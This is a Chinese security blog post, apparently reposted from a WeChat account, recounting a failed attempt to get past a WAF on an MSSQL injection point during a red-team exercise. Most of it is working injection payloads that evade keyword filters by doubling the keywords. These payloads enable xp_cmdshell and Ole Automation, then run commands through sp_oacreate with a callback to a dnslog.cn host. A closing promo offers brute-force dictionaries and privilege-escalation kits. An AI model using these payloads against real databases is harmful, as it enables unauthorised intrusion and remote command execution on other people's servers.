记一次失败的MSSQL注入绕过

admin 2022年5月19日10:36:34评论182 views字数 1325阅读4分25秒阅读模式

因为这篇笔记记录的是朋友在HW期间的一个站点,所以全程无截图,怕给漏点喽,大家将就着看下吧,学习一下文中的绕过方式。


0x01 前言

朋友@Sin在某次HW期间遇到的这么一个MSSQL注入点案例,但因目标主机上有一个不知名WAF过滤了and、select、exec、declare等关键字,最终没能帮他成功绕过,不过在测试过程还是挺有意思的,简单记录一下,说不定以后啥时候还能用上。


0x02 正文

(1) and关键字绕过
anaandndd db_name()>0--+

(2) and、select关键字绕过
anaandndd 1=(selecseselectlectt @@version)--+anaandndd 1=(selecseselectlectt is_srvrolemember('sysadmin'))--+

(3) exec关键字绕过
exeeexec xec c sp_configure 'show advanced options', 1;--+RECONFIGURE;--+exeeexec xec c sp_configure 'xp_cmdshell', 1;--+RECONFIGURE;--+
exeeexec xec c master..xp_cmdshell "cmd /c ping ******.dnslog.cn"--+


绕过exec关键字后成功开启xp_cmdshell存储过程,但在执行命令时还是被拦截了,输入任何命令都会出现以下提示,怀疑是可能还存在什么其他的安全防护设备。

Timeout时间已到.在操作完成之前超时时间已过或服务器未响应。


(4) declare、exec关键字绕过

exeeexec xec c sp_configure 'show advanced options', 1;--+RECONFIGURE WITH OVERRIDE;--+exeeexec xec c sp_configure 'Ole Automation Procedures', 1;--+RECONFIGURE WITH OVERRIDE;--+exeeexec xec c sp_configure 'show advanced options', 0;--+
declarddeclare eclare e @shell int exeeexec xec c sp_oacreate 'wscript.shell',@shell output exeeexec xec c sp_oamethod @shell,'run',null,'c:windowssystem32ping.exe ******.dnslog.cn'--+

绕过declare关键字后成功开启sp_OACreate存储过程,但在执行命令时会出现以下提示,猜测可能是sp_oamethod也被拦了,因为找不到sp_oamethod,所以无法调用sp_OACreate来执行命令。
找不到存储过程 'sp_oa'。尚未为此批处理命令成功调用 sp_OACreate




关注公众号回复“1208”可以领取个人常用高效爆破字典0221”2020年酒仙桥文章打包1212”杀软对比源码+数据源,0421Windows提权工具包

原文始发于微信公众号(Hack分享吧):记一次失败的MSSQL注入绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月19日10:36:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次失败的MSSQL注入绕过https://cn-sec.com/archives/1019827.html

发表评论

匿名网友 填写信息